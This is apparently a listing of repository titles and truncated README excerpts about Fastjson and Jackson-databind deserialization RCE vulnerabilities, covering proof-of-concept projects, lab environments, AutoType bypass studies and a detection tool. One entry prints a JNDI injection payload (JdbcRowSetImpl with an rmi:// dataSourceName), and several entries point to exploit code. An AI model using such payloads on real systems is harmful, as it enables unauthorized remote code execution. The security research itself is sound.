fastjson-check

fastjson-check 一条命令，查清你的 Java 应用里到底有没有 fastjson、藏在哪、是否受 CVE-2026-16723 影响。 零依赖 · 完全离线 · 单个 23KB 的 jar · 支持 Java 8+ English | 下载 为什么需要它 2026 年 7 月 21 日，fastjson 官方公布 CVE-2026-16723 （CVSS 9.0 ，远程代码执行）： 影响 fastjson 1.2.68 1.2.83 默认配置即可利用 —— 不需要开启 AutoType，不需要 classpath gadget，不需要认证 公告数日内即出现在野利用，主要针对...

fastjson-jsontype-rce-lab

Fastjson @JSONType remote-JAR/FD-chain lab and detection This repository now preserves two distinct Fastjson research tracks: modern-fd/ is the recommended, marker-only reconstruction of the Fastjson 1.2.83 single-body remote-JAR/file-descriptor chain on Spring Boot 3, normal embedded Tomcat and...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes After setting the project as a Maven project, run note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65 Just run the main function of FastjsondemoApplication.java TouchFile.java file import java.lang.Runtime; import...

Fastjson Insecure Deserialization - Remote Code Execution

parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is...

CVE-2020-8840

CVE-2020-8840 Jackson-databind remote code execution vulnerability CVE-2020-8840 analysis and reproduction environment code. The project includes: jackson-databind, Fastjson payloads WebServer malicious class Compiled marshalsec-0.0.3-SNAPSHOT-all.jar Vulnerability Overview Jackson-databind remot...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 Remote Command Execution 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true Unknown version between 1.2.24-41...

CVE-2026-16723

CVE-2026-16723 Exploit A standalone C++17 implementation for CVE-2026-16723 , a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. Requirements Linux or WSL on Windows C++17 compatible compiler GCC 7+ or Clang 5+ CMake 3.10 or newer System packages: libzip-dev zlib1g-dev Debian /...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Overview CVE-2026-16723 is a Remote Code Execution RCE vulnerability in Fastjson 1.x 1.2.68 – 1.2.83. When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside...

fastjson-RCE

fastjson-v1.2.47-RCE Vulnerability Reproduction fastjson-1.2.47 == Resource Download: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码 https://github.com/alibaba/fastjson/archive/1.2.47.zip jar...

FastjsonVulns

This repository does not have a README...

CVE-2026-16723

🚨 CVE-2026-16723 — fastjson 1.2.83 @JSONType Resource Probe Chain RCE A reproduction project for remote class loading / command execution in fastjson 1.2.66 1.2.83 via the@JSONType annotation + an illegal class name + the jar: protocol. ⚠️ Disclaimer This project is intended solely for security...

fastjson-cve-2026-16723

Disclaimer : This project is intended for security research and learning purposes in authorized environments only. Testing against unauthorized systems is prohibited, and users are solely responsible for any consequences of use. Fastjson 1.2.83 Remote Code Execution Vulnerability Analysis...

fastjson-1.2.61-RCE

fastjson-1.2.61-RCE Ps： Officially, in https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java, 0x7bddd363ad3998c6L i.e., 1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration was added to the blacklis...

CVE-2020-10673

Vulnerability Description Recently, the Asiainfo Security Network Attack and Defense Laboratory tracked that jackson-databind has updated a JNDI injection blacklist class. If the jar package of this class exists in the project and the JDK version meets the injection version, remote code execution...

fastjson-tp1fn1

json.org CVE-2022-45688 true & false positive WTF ?? The project contains a fastjson dependency with CVE-2022-25845. The vulnerability occurs as markup in JSON is interpreted as Java beans, i.e. classes are instantiated and properties are set by executing setter methods. This is done using...

FastJsonAutoTypeBypass

What's this This project is used for studying how to bypass fastJSON AutoType check. Gadget Info Mapping just for fastjson 1.2.47: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...

0day

0day For reasons known to us, the original repository was deleted, but local repo were kept, forks and stars cleared But rest assured, it's still the original recipe, the original taste. In case of this issue,please Follow Me Education use only 中文 | English EXP, POC of various CMS, platforms,...

fastjson-rce-lab

Fastjson 1.2.83 RCE Lab Environment CVE-2026-16723 Disclaimer: This lab is intended solely for security research, teaching demonstrations, and defense construction in authorized environments. Testing unauthorized targets without permission may be illegal; users bear all responsibility for the...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Overview CVE-2026-16723 is a Remote Code Execution RCE vulnerability in Fastjson 1.x 1.2.68 – 1.2.83. When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside...

fastjson-1.2.60-rce

Fastjson = 1.2.60 Deserialization Vulnerability By Pass autoType Block List with 2 Gadgets JNDIConfiguration, OracleManagedConnectionFactory Gadgets 经过测试，命中的4个文件都是可以利用的。 不过其中HikariConfig类就是前文提到的类，在最新版本被加入黑名单，JNDIConnectionPool类在42版本前就被加入黑名单了。 另外的两个类JNDIConfiguration和...